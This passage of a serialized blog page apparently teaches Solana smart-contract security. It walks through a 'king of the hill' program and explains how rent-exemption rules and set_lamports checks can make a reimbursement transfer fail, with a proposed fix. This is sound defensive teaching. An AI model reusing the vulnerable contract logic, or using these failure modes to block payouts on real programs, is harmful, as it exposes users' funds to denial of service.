691,"children":71692},{"style":179},[71693],{"type":28,"value":71261},{"type":23,"tag":134,"props":71695,"children":71696},{"style":168},[71697],{"type":28,"value":720},{"type":23,"tag":134,"props":71699,"children":71700},{"style":179},[71701],{"type":28,"value":71270},{"type":23,"tag":134,"props":71703,"children":71704},{"style":168},[71705],{"type":28,"value":257},{"type":23,"tag":134,"props":71707,"children":71708},{"style":162},[71709],{"type":28,"value":71710}," bid_amount",{"type":23,"tag":134,"props":71712,"children":71713},{"style":179},[71714],{"type":28,"value":182},{"type":23,"tag":134,"props":71716,"children":71717},{"class":136,"line":23148},[71718,71722,71726,71730,71734,71738,71742,71747,71751,71756,71760,71764,71768,71772,71777,71781,71785],{"type":23,"tag":134,"props":71719,"children":71720},{"style":162},[71721],{"type":28,"value":25677},{"type":23,"tag":134,"props":71723,"children":71724},{"style":168},[71725],{"type":28,"value":720},{"type":23,"tag":134,"props":71727,"children":71728},{"style":179},[71729],{"type":28,"value":14143},{"type":23,"tag":134,"props":71731,"children":71732},{"style":168},[71733],{"type":28,"value":720},{"type":23,"tag":134,"props":71735,"children":71736},{"style":179},[71737],{"type":28,"value":71261},{"type":23,"tag":134,"props":71739,"children":71740},{"style":168},[71741],{"type":28,"value":720},{"type":23,"tag":134,"props":71743,"children":71744},{"style":179},[71745],{"type":28,"value":71746},"last_time ",{"type":23,"tag":134,"props":71748,"children":71749},{"style":168},[71750],{"type":28,"value":257},{"type":23,"tag":134,"props":71752,"children":71753},{"style":597},[71754],{"type":28,"value":71755}," Clock",{"type":23,"tag":134,"props":71757,"children":71758},{"style":168},[71759],{"type":28,"value":660},{"type":23,"tag":134,"props":71761,"children":71762},{"style":264},[71763],{"type":28,"value":15822},{"type":23,"tag":134,"props":71765,"children":71766},{"style":179},[71767],{"type":28,"value":13347},{"type":23,"tag":134,"props":71769,"children":71770},{"style":168},[71771],{"type":28,"value":301},{"type":23,"tag":134,"props":71773,"children":71774},{"style":179},[71775],{"type":28,"value":71776},"unix_timestamp ",{"type":23,"tag":134,"props":71778,"children":71779},{"style":151},[71780],{"type":28,"value":8302},{"type":23,"tag":134,"props":71782,"children":71783},{"style":597},[71784],{"type":28,"value":5316},{"type":23,"tag":134,"props":71786,"children":71787},{"style":179},[71788],{"type":28,"value":182},{"type":23,"tag":134,"props":71790,"children":71791},{"class":136,"line":23224},[71792],{"type":23,"tag":134,"props":71793,"children":71794},{"emptyLinePlaceholder":15},[71795],{"type":28,"value":865},{"type":23,"tag":134,"props":71797,"children":71798},{"class":136,"line":23257},[71799,71803],{"type":23,"tag":134,"props":71800,"children":71801},{"style":597},[71802],{"type":28,"value":14280},{"type":23,"tag":134,"props":71804,"children":71805},{"style":179},[71806],{"type":28,"value":13806},{"type":23,"tag":134,"props":71808,"children":71809},{"class":136,"line":23265},[71810],{"type":23,"tag":134,"props":71811,"children":71812},{"style":179},[71813],{"type":28,"value":533},{"type":23,"tag":134,"props":71815,"children":71816},{"class":136,"line":23273},[71817],{"type":23,"tag":134,"props":71818,"children":71819},{"style":179},[71820],{"type":28,"value":1098},{"type":23,"tag":24,"props":71822,"children":71823},{},[71824],{"type":28,"value":71825},"Note this comment:",{"type":23,"tag":78,"props":71827,"children":71828},{},[71829],{"type":23,"tag":24,"props":71830,"children":71831},{},[71832],{"type":28,"value":71833},"any writable account is allowed as a new king.",{"type":23,"tag":24,"props":71835,"children":71836},{},[71837],{"type":28,"value":71838},"...Is our assumption correct?",{"type":23,"tag":61,"props":71840,"children":71842},{"id":71841},"the-bugs-lurking-beneath",[71843],{"type":28,"value":71844},"The Bugs Lurking Beneath",{"type":23,"tag":9072,"props":71846,"children":71848},{"id":71847},"bug-1-the-rent-exemption-trap",[71849],{"type":28,"value":71850},"Bug 1: The Rent-Exemption Trap",{"type":23,"tag":24,"props":71852,"children":71853},{},[71854,71856,71861],{"type":28,"value":71855},"On Solana, all accounts must maintain a ",{"type":23,"tag":2532,"props":71857,"children":71858},{},[71859],{"type":28,"value":71860},"minimum balance",{"type":28,"value":71862}," of lamports to remain rent-exempt. Specifically, an account can be in one of two states:",{"type":23,"tag":16158,"props":71864,"children":71865},{},[71866,71881],{"type":23,"tag":4894,"props":71867,"children":71868},{},[71869,71874,71875],{"type":23,"tag":2532,"props":71870,"children":71871},{},[71872],{"type":28,"value":71873},"Uninitialized",{"type":28,"value":14800},{"type":23,"tag":92,"props":71876,"children":71878},{"className":71877},[],[71879],{"type":28,"value":71880},"lamports = 0",{"type":23,"tag":4894,"props":71882,"children":71883},{},[71884,71889,71890],{"type":23,"tag":2532,"props":71885,"children":71886},{},[71887],{"type":28,"value":71888},"Initialized",{"type":28,"value":14800},{"type":23,"tag":92,"props":71891,"children":71893},{"className":71892},[],[71894],{"type":28,"value":71895},"lamports >= rent-exempt threshold",{"type":23,"tag":24,"props":71897,"children":71898},{},[71899,71901,71906],{"type":28,"value":71900},"This rent model exists to prevent low-cost DoS attacks on validators. The key idea is that even an account with no data (i.e., zero-length data buffer) still consumes on-chain resources; specifically, ",{"type":23,"tag":2532,"props":71902,"children":71903},{},[71904],{"type":28,"value":71905},"account metadata",{"type":28,"value":71907}," like its public key, owner, or lamport balance. That metadata must be stored persistently by validators, and that storage isn't free.",{"type":23,"tag":24,"props":71909,"children":71910},{},[71911,71913,71919],{"type":28,"value":71912},"So “persistent state” on Solana doesn’t just mean your program's data — it includes the base account structure itself. Even accounts with ",{"type":23,"tag":92,"props":71914,"children":71916},{"className":71915},[],[71917],{"type":28,"value":71918},"data.len() == 0",{"type":28,"value":71920}," must meet a minimum rent threshold to remain alive and avoid garbage collection by the runtime.",{"type":23,"tag":24,"props":71922,"children":71923},{},[71924,71926,71932],{"type":28,"value":71925},"This is enforced at the runtime level, and the relevant logic can be found ",{"type":23,"tag":31,"props":71927,"children":71930},{"href":71928,"rel":71929},"https://github.com/anza-xyz/agave/blob/7a1e57469a5b1aeed617457c0519803620ba953f/svm-rent-collector/src/svm_rent_collector.rs#L117-L136",[35],[71931],{"type":28,"value":47089},{"type":28,"value":720},{"type":23,"tag":87,"props":71934,"children":71936},{"className":128,"code":71935,"language":127,"meta":7,"style":7},"    fn transition_allowed(&self, pre_rent_state: &RentState, post_rent_state: &RentState) -> bool {\n        match post_rent_state {\n            RentState::Uninitialized | RentState::RentExempt => true,\n            RentState::RentPaying {\n                data_size: post_data_size,\n                lamports: post_lamports,\n            } => {\n                match pre_rent_state {\n                    RentState::Uninitialized | RentState::RentExempt => false,\n                    RentState::RentPaying {\n                        data_size: pre_data_size,\n                        lamports: pre_lamports,\n                    } => {\n                        // Cannot remain RentPaying if resized or credited.\n                        post_data_size == pre_data_size && post_lamports \u003C= pre_lamports\n                    }\n                }\n            }\n        }\n    }\n",[71937],{"type":23,"tag":92,"props":71938,"children":71939},{"__ignoreMap":7},[71940,72024,72041,72087,72107,72128,72149,72164,72181,72225,72244,72265,72286,72302,72310,72343,72350,72357,72364,72371],{"type":23,"tag":134,"props":71941,"children":71942},{"class":136,"line":137},[71943,71948,71953,71957,71961,71965,71969,71974,71978,71982,71987,71991,71996,72000,72004,72008,72012,72016,72020],{"type":23,"tag":134,"props":71944,"children":71945},{"style":151},[71946],{"type":28,"value":71947},"    fn",{"type":23,"tag":134,"props":71949,"children":71950},{"style":264},[71951],{"type":28,"value":71952}," transition_allowed",{"type":23,"tag":134,"props":71954,"children":71955},{"style":179},[71956],{"type":28,"value":272},{"type":23,"tag":134,"props":71958,"children":71959},{"style":168},[71960],{"type":28,"value":277},{"type":23,"tag":134,"props":71962,"children":71963},{"style":151},[71964],{"type":28,"value":13181},{"type":23,"tag":134,"props":71966,"children":71967},{"style":179},[71968],{"type":28,"value":242},{"type":23,"tag":134,"props":71970,"children":71971},{"style":162},[71972],{"type":28,"value":71973},"pre_rent_state",{"type":23,"tag":134,"props":71975,"children":71976},{"style":168},[71977],{"type":28,"value":1697},{"type":23,"tag":134,"props":71979,"children":71980},{"style":168},[71981],{"type":28,"value":6599},{"type":23,"tag":134,"props":71983,"children":71984},{"style":597},[71985],{"type":28,"value":71986},"RentState",{"type":23,"tag":134,"props":71988,"children":71989},{"style":179},[71990],{"type":28,"value":242},{"type":23,"tag":134,"props":71992,"children":71993},{"style":162},[71994],{"type":28,"value":71995},"post_rent_state",{"type":23,"tag":134,"props":71997,"children":71998},{"style":168},[71999],{"type":28,"value":1697},{"type":23,"tag":134,"props":72001,"children":72002},{"style":168},[72003],{"type":28,"value":6599},{"type":23,"tag":134,"props":72005,"children":72006},{"style":597},[72007],{"type":28,"value":71986},{"type":23,"tag":134,"props":72009,"children":72010},{"style":179},[72011],{"type":28,"value":252},{"type":23,"tag":134,"props":72013,"children":72014},{"style":168},[72015],{"type":28,"value":13225},{"type":23,"tag":134,"props":72017,"children":72018},{"style":597},[72019],{"type":28,"value":11517},{"type":23,"tag":134,"props":72021,"children":72022},{"style":179},[72023],{"type":28,"value":463},{"type":23,"tag":134,"props":72025,"children":72026},{"class":136,"line":147},[72027,72032,72037],{"type":23,"tag":134,"props":72028,"children":72029},{"style":189},[72030],{"type":28,"value":72031},"        match",{"type":23,"tag":134,"props":72033,"children":72034},{"style":162},[72035],{"type":28,"value":72036}," post_rent_state",{"type":23,"tag":134,"props":72038,"children":72039},{"style":179},[72040],{"type":28,"value":463},{"type":23,"tag":134,"props":72042,"children":72043},{"class":136,"line":185},[72044,72049,72053,72057,72061,72066,72070,72075,72079,72083],{"type":23,"tag":134,"props":72045,"children":72046},{"style":597},[72047],{"type":28,"value":72048},"            RentState",{"type":23,"tag":134,"props":72050,"children":72051},{"style":168},[72052],{"type":28,"value":660},{"type":23,"tag":134,"props":72054,"children":72055},{"style":597},[72056],{"type":28,"value":71873},{"type":23,"tag":134,"props":72058,"children":72059},{"style":168},[72060],{"type":28,"value":1474},{"type":23,"tag":134,"props":72062,"children":72063},{"style":597},[72064],{"type":28,"value":72065}," RentState",{"type":23,"tag":134,"props":72067,"children":72068},{"style":168},[72069],{"type":28,"value":660},{"type":23,"tag":134,"props":72071,"children":72072},{"style":597},[72073],{"type":28,"value":72074},"RentExempt",{"type":23,"tag":134,"props":72076,"children":72077},{"style":168},[72078],{"type":28,"value":27244},{"type":23,"tag":134,"props":72080,"children":72081},{"style":151},[72082],{"type":28,"value":11936},{"type":23,"tag":134,"props":72084,"children":72085},{"style":179},[72086],{"type":28,"value":687},{"type":23,"tag":134,"props":72088,"children":72089},{"class":136,"line":221},[72090,72094,72098,72103],{"type":23,"tag":134,"props":72091,"children":72092},{"style":597},[72093],{"type":28,"value":72048},{"type":23,"tag":134,"props":72095,"children":72096},{"style":168},[72097],{"type":28,"value":660},{"type":23,"tag":134,"props":72099,"children":72100},{"style":597},[72101],{"type":28,"value":72102},"RentPaying",{"type":23,"tag":134,"props":72104,"children":72105},{"style":179},[72106],{"type":28,"value":463},{"type":23,"tag":134,"props":72108,"children":72109},{"class":136,"line":332},[72110,72115,72119,72124],{"type":23,"tag":134,"props":72111,"children":72112},{"style":162},[72113],{"type":28,"value":72114},"                data_size",{"type":23,"tag":134,"props":72116,"children":72117},{"style":168},[72118],{"type":28,"value":1697},{"type":23,"tag":134,"props":72120,"children":72121},{"style":162},[72122],{"type":28,"value":72123}," post_data_size",{"type":23,"tag":134,"props":72125,"children":72126},{"style":179},[72127],{"type":28,"value":687},{"type":23,"tag":134,"props":72129,"children":72130},{"class":136,"line":438},[72131,72136,72140,72145],{"type":23,"tag":134,"props":72132,"children":72133},{"style":162},[72134],{"type":28,"value":72135},"                lamports",{"type":23,"tag":134,"props":72137,"children":72138},{"style":168},[72139],{"type":28,"value":1697},{"type":23,"tag":134,"props":72141,"children":72142},{"style":162},[72143],{"type":28,"value":72144}," post_lamports",{"type":23,"tag":134,"props":72146,"children":72147},{"style":179},[72148],{"type":28,"value":687},{"type":23,"tag":134,"props":72150,"children":72151},{"class":136,"line":466},[72152,72156,72160],{"type":23,"tag":134,"props":72153,"children":72154},{"style":179},[72155],{"type":28,"value":70104},{"type":23,"tag":134,"props":72157,"children":72158},{"style":168},[72159],{"type":28,"value":14290},{"type":23,"tag":134,"props":72161,"children":72162},{"style":179},[72163],{"type":28,"value":463},{"type":23,"tag":134,"props":72165,"children":72166},{"class":136,"line":479},[72167,72172,72177],{"type":23,"tag":134,"props":72168,"children":72169},{"style":189},[72170],{"type":28,"value":72171},"                match",{"type":23,"tag":134,"props":72173,"children":72174},{"style":162},[72175],{"type":28,"value":72176}," pre_rent_state",{"type":23,"tag":134,"props":72178,"children":72179},{"style":179},[72180],{"type":28,"value":463},{"type":23,"tag":134,"props":72182,"children":72183},{"class":136,"line":497},[72184,72189,72193,72197,72201,72205,72209,72213,72217,72221],{"type":23,"tag":134,"props":72185,"children":72186},{"style":597},[72187],{"type":28,"value":72188},"                    RentState",{"type":23,"tag":134,"props":72190,"children":72191},{"style":168},[72192],{"type":28,"value":660},{"type":23,"tag":134,"props":72194,"children":72195},{"style":597},[72196],{"type":28,"value":71873},{"type":23,"tag":134,"props":72198,"children":72199},{"style":168},[72200],{"type":28,"value":1474},{"type":23,"tag":134,"props":72202,"children":72203},{"style":597},[72204],{"type":28,"value":72065},{"type":23,"tag":134,"props":72206,"children":72207},{"style":168},[72208],{"type":28,"value":660},{"type":23,"tag":134,"props":72210,"children":72211},{"style":597},[72212],{"type":28,"value":72074},{"type":23,"tag":134,"props":72214,"children":72215},{"style":168},[72216],{"type":28,"value":27244},{"type":23,"tag":134,"props":72218,"children":72219},{"style":151},[72220],{"type":28,"value":8519},{"type":23,"tag":134,"props":72222,"children":72223},{"style":179},[72224],{"type":28,"value":687},{"type":23,"tag":134,"props":72226,"children":72227},{"class":136,"line":518},[72228,72232,72236,72240],{"type":23,"tag":134,"props":72229,"children":72230},{"style":597},[72231],{"type":28,"value":72188},{"type":23,"tag":134,"props":72233,"children":72234},{"style":168},[72235],{"type":28,"value":660},{"type":23,"tag":134,"props":72237,"children":72238},{"style":597},[72239],{"type":28,"value":72102},{"type":23,"tag":134,"props":72241,"children":72242},{"style":179},[72243],{"type":28,"value":463},{"type":23,"tag":134,"props":72245,"children":72246},{"class":136,"line":527},[72247,72252,72256,72261],{"type":23,"tag":134,"props":72248,"children":72249},{"style":162},[72250],{"type":28,"value":72251},"                        data_size",{"type":23,"tag":134,"props":72253,"children":72254},{"style":168},[72255],{"type":28,"value":1697},{"type":23,"tag":134,"props":72257,"children":72258},{"style":162},[72259],{"type":28,"value":72260}," pre_data_size",{"type":23,"tag":134,"props":72262,"children":72263},{"style":179},[72264],{"type":28,"value":687},{"type":23,"tag":134,"props":72266,"children":72267},{"class":136,"line":780},[72268,72273,72277,72282],{"type":23,"tag":134,"props":72269,"children":72270},{"style":162},[72271],{"type":28,"value":72272},"                        lamports",{"type":23,"tag":134,"props":72274,"children":72275},{"style":168},[72276],{"type":28,"value":1697},{"type":23,"tag":134,"props":72278,"children":72279},{"style":162},[72280],{"type":28,"value":72281}," pre_lamports",{"type":23,"tag":134,"props":72283,"children":72284},{"style":179},[72285],{"type":28,"value":687},{"type":23,"tag":134,"props":72287,"children":72288},{"class":136,"line":797},[72289,72294,72298],{"type":23,"tag":134,"props":72290,"children":72291},{"style":179},[72292],{"type":28,"value":72293},"                    } ",{"type":23,"tag":134,"props":72295,"children":72296},{"style":168},[72297],{"type":28,"value":14290},{"type":23,"tag":134,"props":72299,"children":72300},{"style":179},[72301],{"type":28,"value":463},{"type":23,"tag":134,"props":72303,"children":72304},{"class":136,"line":814},[72305],{"type":23,"tag":134,"props":72306,"children":72307},{"style":141},[72308],{"type":28,"value":72309},"                        // Cannot remain RentPaying if resized or credited.\n",{"type":23,"tag":134,"props":72311,"children":72312},{"class":136,"line":827},[72313,72318,72322,72326,72330,72334,72338],{"type":23,"tag":134,"props":72314,"children":72315},{"style":162},[72316],{"type":28,"value":72317},"                        post_data_size",{"type":23,"tag":134,"props":72319,"children":72320},{"style":168},[72321],{"type":28,"value":454},{"type":23,"tag":134,"props":72323,"children":72324},{"style":162},[72325],{"type":28,"value":72260},{"type":23,"tag":134,"props":72327,"children":72328},{"style":168},[72329],{"type":28,"value":13653},{"type":23,"tag":134,"props":72331,"children":72332},{"style":162},[72333],{"type":28,"value":72144},{"type":23,"tag":134,"props":72335,"children":72336},{"style":168},[72337],{"type":28,"value":7656},{"type":23,"tag":134,"props":72339,"children":72340},{"style":162},[72341],{"type":28,"value":72342}," pre_lamports\n",{"type":23,"tag":134,"props":72344,"children":72345},{"class":136,"line":836},[72346],{"type":23,"tag":134,"props":72347,"children":72348},{"style":179},[72349],{"type":28,"value":70573},{"type":23,"tag":134,"props":72351,"children":72352},{"class":136,"line":859},[72353],{"type":23,"tag":134,"props":72354,"children":72355},{"style":179},[72356],{"type":28,"value":70581},{"type":23,"tag":134,"props":72358,"children":72359},{"class":136,"line":868},[72360],{"type":23,"tag":134,"props":72361,"children":72362},{"style":179},[72363],{"type":28,"value":58392},{"type":23,"tag":134,"props":72365,"children":72366},{"class":136,"line":877},[72367],{"type":23,"tag":134,"props":72368,"children":72369},{"style":179},[72370],{"type":28,"value":524},{"type":23,"tag":134,"props":72372,"children":72373},{"class":136,"line":946},[72374],{"type":23,"tag":134,"props":72375,"children":72376},{"style":179},[72377],{"type":28,"value":533},{"type":23,"tag":24,"props":72379,"children":72380},{},[72381],{"type":28,"value":72382},"You can check the rent-exemption threshold for a zero-data account with the CLI:",{"type":23,"tag":87,"props":72384,"children":72386},{"className":1447,"code":72385,"language":1446,"meta":7,"style":7},"solana rent 0\nRent-exempt minimum: 0.00089088 SOL\n",[72387],{"type":23,"tag":92,"props":72388,"children":72389},{"__ignoreMap":7},[72390,72406],{"type":23,"tag":134,"props":72391,"children":72392},{"class":136,"line":137},[72393,72397,72402],{"type":23,"tag":134,"props":72394,"children":72395},{"style":264},[72396],{"type":28,"value":17},{"type":23,"tag":134,"props":72398,"children":72399},{"style":1461},[72400],{"type":28,"value":72401}," rent",{"type":23,"tag":134,"props":72403,"children":72404},{"style":205},[72405],{"type":28,"value":23769},{"type":23,"tag":134,"props":72407,"children":72408},{"class":136,"line":147},[72409,72414,72419,72424],{"type":23,"tag":134,"props":72410,"children":72411},{"style":264},[72412],{"type":28,"value":72413},"Rent-exempt",{"type":23,"tag":134,"props":72415,"children":72416},{"style":1461},[72417],{"type":28,"value":72418}," minimum:",{"type":23,"tag":134,"props":72420,"children":72421},{"style":205},[72422],{"type":28,"value":72423}," 0.00089088",{"type":23,"tag":134,"props":72425,"children":72426},{"style":1461},[72427],{"type":28,"value":72428}," SOL\n",{"type":23,"tag":18368,"props":72430,"children":72432},{"id":72431},"fix-1-only-reimburse-if-rent-exempt",[72433],{"type":28,"value":72434},"Fix 1: Only Reimburse if Rent-Exempt",{"type":23,"tag":24,"props":72436,"children":72437},{},[72438],{"type":28,"value":72439},"We don't want to donate anything to an unfair king! So let's update our program to reimburse only if the old king will be rent-exempt after the transfer:",{"type":23,"tag":87,"props":72441,"children":72443},{"className":39859,"code":72442,"language":39861,"meta":7,"style":7},"let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n+let rent = Rent::get()?;\n+let balance_after = ctx.accounts.old_king.lamports() + to_reimburse;\n+if rent.is_exempt(balance_after, ctx.accounts.old_king.data_len()) {\n    transfer_from_pda(\n        &ctx.accounts.throne.to_account_info(),\n        &ctx.accounts.old_king,\n        to_reimburse,\n    )?;\n+}\n",[72444],{"type":23,"tag":92,"props":72445,"children":72446},{"__ignoreMap":7},[72447,72455,72463,72471,72479,72487,72495,72503,72511,72519],{"type":23,"tag":134,"props":72448,"children":72449},{"class":136,"line":137},[72450],{"type":23,"tag":134,"props":72451,"children":72452},{"style":179},[72453],{"type":28,"value":72454},"let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n",{"type":23,"tag":134,"props":72456,"children":72457},{"class":136,"line":147},[72458],{"type":23,"tag":134,"props":72459,"children":72460},{"style":205},[72461],{"type":28,"value":72462},"+let rent = Rent::get()?;\n",{"type":23,"tag":134,"props":72464,"children":72465},{"class":136,"line":185},[72466],{"type":23,"tag":134,"props":72467,"children":72468},{"style":205},[72469],{"type":28,"value":72470},"+let balance_after = ctx.accounts.old_king.lamports() + to_reimburse;\n",{"type":23,"tag":134,"props":72472,"children":72473},{"class":136,"line":221},[72474],{"type":23,"tag":134,"props":72475,"children":72476},{"style":205},[72477],{"type":28,"value":72478},"+if rent.is_exempt(balance_after, ctx.accounts.old_king.data_len()) {\n",{"type":23,"tag":134,"props":72480,"children":72481},{"class":136,"line":332},[72482],{"type":23,"tag":134,"props":72483,"children":72484},{"style":179},[72485],{"type":28,"value":72486},"    transfer_from_pda(\n",{"type":23,"tag":134,"props":72488,"children":72489},{"class":136,"line":438},[72490],{"type":23,"tag":134,"props":72491,"children":72492},{"style":179},[72493],{"type":28,"value":72494},"        &ctx.accounts.throne.to_account_info(),\n",{"type":23,"tag":134,"props":72496,"children":72497},{"class":136,"line":466},[72498],{"type":23,"tag":134,"props":72499,"children":72500},{"style":179},[72501],{"type":28,"value":72502},"        &ctx.accounts.old_king,\n",{"type":23,"tag":134,"props":72504,"children":72505},{"class":136,"line":479},[72506],{"type":23,"tag":134,"props":72507,"children":72508},{"style":179},[72509],{"type":28,"value":72510},"        to_reimburse,\n",{"type":23,"tag":134,"props":72512,"children":72513},{"class":136,"line":497},[72514],{"type":23,"tag":134,"props":72515,"children":72516},{"style":179},[72517],{"type":28,"value":72518},"    )?;\n",{"type":23,"tag":134,"props":72520,"children":72521},{"class":136,"line":518},[72522],{"type":23,"tag":134,"props":72523,"children":72524},{"style":205},[72525],{"type":28,"value":72526},"+}\n",{"type":23,"tag":24,"props":72528,"children":72529},{},[72530],{"type":28,"value":72531},"But is rent-exemption the only thing that can cause a lamport transfer to fail? Not quite.",{"type":23,"tag":9072,"props":72533,"children":72535},{"id":72534},"bug-2-writable-but-untouchable-set_lamports-fails",[72536,72538,72544],{"type":28,"value":72537},"Bug 2: Writable but Untouchable — ",{"type":23,"tag":92,"props":72539,"children":72541},{"className":72540},[],[72542],{"type":28,"value":72543},"set_lamports",{"type":28,"value":72545}," Fails",{"type":23,"tag":24,"props":72547,"children":72548},{},[72549,72551,72558],{"type":28,"value":72550},"Let's look at ",{"type":23,"tag":31,"props":72552,"children":72555},{"href":72553,"rel":72554},"https://github.com/anza-xyz/agave/blob/f389dd23067e37d756c3f9d2f3d50e339dad7053/transaction-context/src/lib.rs#L863-L885",[35],[72556],{"type":28,"value":72557},"BorrowedAccount::set_lamports",{"type":28,"value":720},{"type":23,"tag":87,"props":72560,"children":72562},{"className":128,"code":72561,"language":127,"meta":7,"style":7},"/// Overwrites the number of lamports of this account (transaction wide)\n#[cfg(not(target_os = \"solana\"))]\npub fn set_lamports(&mut self, lamports: u64) -> Result\u003C(), InstructionError> {\n    // An account not owned by the program cannot have its balance decrease\n    if !self.is_owned_by_current_program() && lamports \u003C self.get_lamports() {\n        return Err(InstructionError::ExternalAccountLamportSpend);\n    }\n    // The balance of read-only may not change\n    if !self.is_writable() {\n        return Err(InstructionError::ReadonlyLamportChange);\n    }\n    // The balance of executable accounts may not change\n    if self.is_executable_internal() {\n        return Err(InstructionError::ExecutableLamportChange);\n    }\n    // don't touch the account if the lamports do not change\n    if self.get_lamports() == lamports {\n        return Ok(());\n    }\n    self.touch()?;\n    self.account.set_lamports(lamports);\n    Ok(())\n}\n\n/// Feature gating to remove `is_executable` flag related checks\n#[cfg(not(target_os = \"solana\"))]\n#[inline]\nfn is_executable_internal(&self) -> bool {\n    !self\n        .transaction_context\n        .remove_accounts_executable_flag_checks\n        && self.account.executable()\n}\n\n",[72563],{"type":23,"tag":92,"props":72564,"children":72565},{"__ignoreMap":7},[72566,72574,72595,72667,72675,72734,72766,72773,72781,72809,72841,72848,72856,72880,72912,72919,72927,72962,72978,72985,73013,73048,73059,73066,73073,73081,73100,73108,73148,73160,73172,73184,73215],{"type":23,"tag":134,"props":72567,"children":72568},{"class":136,"line":137},[72569],{"type":23,"tag":134,"props":72570,"children":72571},{"style":141},[72572],{"type":28,"value":72573},"/// Overwrites the number of lamports of this account (transaction wide)\n",{"type":23,"tag":134,"props":72575,"children":72576},{"class":136,"line":147},[72577,72582,72586,72591],{"type":23,"tag":134,"props":72578,"children":72579},{"style":179},[72580],{"type":28,"value":72581},"#[cfg(not(target_os ",{"type":23,"tag":134,"props":72583,"children":72584},{"style":168},[72585],{"type":28,"value":257},{"type":23,"tag":134,"props":72587,"children":72588},{"style":1461},[72589],{"type":28,"value":72590}," \"solana\"",{"type":23,"tag":134,"props":72592,"children":72593},{"style":179},[72594],{"type":28,"value":20086},{"type":23,"tag":134,"props":72596,"children":72597},{"class":136,"line":185},[72598,72602,72606,72611,72615,72619,72623,72627,72631,72635,72639,72643,72647,72651,72655,72659,72663],{"type":23,"tag":134,"props":72599,"children":72600},{"style":151},[72601],{"type":28,"value":13158},{"type":23,"tag":134,"props":72603,"children":72604},{"style":151},[72605],{"type":28,"value":13163},{"type":23,"tag":134,"props":72607,"children":72608},{"style":264},[72609],{"type":28,"value":72610}," set_lamports",{"type":23,"tag":134,"props":72612,"children":72613},{"style":179},[72614],{"type":28,"value":272},{"type":23,"tag":134,"props":72616,"children":72617},{"style":168},[72618],{"type":28,"value":277},{"type":23,"tag":134,"props":72620,"children":72621},{"style":151},[72622],{"type":28,"value":914},{"type":23,"tag":134,"props":72624,"children":72625},{"style":151},[72626],{"type":28,"value":13265},{"type":23,"tag":134,"props":72628,"children":72629},{"style":179},[72630],{"type":28,"value":242},{"type":23,"tag":134,"props":72632,"children":72633},{"style":162},[72634],{"type":28,"value":14981},{"type":23,"tag":134,"props":72636,"children":72637},{"style":168},[72638],{"type":28,"value":1697},{"type":23,"tag":134,"props":72640,"children":72641},{"style":597},[72642],{"type":28,"value":5316},{"type":23,"tag":134,"props":72644,"children":72645},{"style":179},[72646],{"type":28,"value":252},{"type":23,"tag":134,"props":72648,"children":72649},{"style":168},[72650],{"type":28,"value":13225},{"type":23,"tag":134,"props":72652,"children":72653},{"style":597},[72654],{"type":28,"value":13230},{"type":23,"tag":134,"props":72656,"children":72657},{"style":179},[72658],{"type":28,"value":13235},{"type":23,"tag":134,"props":72660,"children":72661},{"style":597},[72662],{"type":28,"value":15228},{"type":23,"tag":134,"props":72664,"children":72665},{"style":179},[72666],{"type":28,"value":6739},{"type":23,"tag":134,"props":72668,"children":72669},{"class":136,"line":221},[72670],{"type":23,"tag":134,"props":72671,"children":72672},{"style":141},[72673],{"type":28,"value":72674},"    // An account not owned by the program cannot have its balance decrease\n",{"type":23,"tag":134,"props":72676,"children":72677},{"class":136,"line":332},[72678,72682,72686,72690,72694,72699,72703,72708,72713,72717,72721,72725,72730],{"type":23,"tag":134,"props":72679,"children":72680},{"style":189},[72681],{"type":28,"value":11746},{"type":23,"tag":134,"props":72683,"children":72684},{"style":168},[72685],{"type":28,"value":12331},{"type":23,"tag":134,"props":72687,"children":72688},{"style":151},[72689],{"type":28,"value":13181},{"type":23,"tag":134,"props":72691,"children":72692},{"style":168},[72693],{"type":28,"value":720},{"type":23,"tag":134,"props":72695,"children":72696},{"style":264},[72697],{"type":28,"value":72698},"is_owned_by_current_program",{"type":23,"tag":134,"props":72700,"children":72701},{"style":179},[72702],{"type":28,"value":13511},{"type":23,"tag":134,"props":72704,"children":72705},{"style":168},[72706],{"type":28,"value":72707},"&&",{"type":23,"tag":134,"props":72709,"children":72710},{"style":162},[72711],{"type":28,"value":72712}," lamports",{"type":23,"tag":134,"props":72714,"children":72715},{"style":168},[72716],{"type":28,"value":8179},{"type":23,"tag":134,"props":72718,"children":72719},{"style":151},[72720],{"type":28,"value":13265},{"type":23,"tag":134,"props":72722,"children":72723},{"style":168},[72724],{"type":28,"value":720},{"type":23,"tag":134,"props":72726,"children":72727},{"style":264},[72728],{"type":28,"value":72729},"get_lamports",{"type":23,"tag":134,"props":72731,"children":72732},{"style":179},[72733],{"type":28,"value":15206},{"type":23,"tag":134,"props":72735,"children":72736},{"class":136,"line":438},[72737,72741,72745,72749,72753,72757,72762],{"type":23,"tag":134,"props":72738,"children":72739},{"style":189},[72740],{"type":28,"value":15214},{"type":23,"tag":134,"props":72742,"children":72743},{"style":597},[72744],{"type":28,"value":15219},{"type":23,"tag":134,"props":72746,"children":72747},{"style":179},[72748],{"type":28,"value":272},{"type":23,"tag":134,"props":72750,"children":72751},{"style":597},[72752],{"type":28,"value":15228},{"type":23,"tag":134,"props":72754,"children":72755},{"style":168},[72756],{"type":28,"value":660},{"type":23,"tag":134,"props":72758,"children":72759},{"style":597},[72760],{"type":28,"value":72761},"ExternalAccountLamportSpend",{"type":23,"tag":134,"props":72763,"children":72764},{"style":179},[72765],{"type":28,"value":1021},{"type":23,"tag":134,"props":72767,"children":72768},{"class":136,"line":466},[72769],{"type":23,"tag":134,"props":72770,"children":72771},{"style":179},[72772],{"type":28,"value":533},{"type":23,"tag":134,"props":72774,"children":72775},{"class":136,"line":479},[72776],{"type":23,"tag":134,"props":72777,"children":72778},{"style":141},[72779],{"type":28,"value":72780},"    // The balance of read-only may not 